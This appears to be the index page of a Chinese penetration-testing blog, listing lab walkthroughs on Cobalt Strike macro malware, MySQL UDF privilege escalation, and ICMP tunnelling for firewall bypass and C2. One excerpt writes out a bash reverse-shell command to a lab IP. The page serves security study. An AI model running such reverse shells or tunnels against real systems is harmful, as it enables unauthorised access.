守拙的博客

保姆级教程，red:1靶机一篇搞定。不只是简单记录操作步骤，磁盘爆满、shell显示乱序、反弹shell闪退等问题都有相应的解决方案。

cobaltstrike 宏病毒利用实践

MySQL UFD提权实践

Linux 反弹 shell 命令 bash -i > /dev/tcp/192.168.139.149/4444 0>&1 各部分代表的意思。

ICMP隧道：将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙（防火墙通常不会过滤ping数据包），通常用于内网攻击中的绕过防火墙建立C2tongda。常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。下载地址：https://github.com/bdamele/icmpsh使用前提： 目标主机为windows系统 本地机器安装python2环境，安装impacket类库 利用icmpsh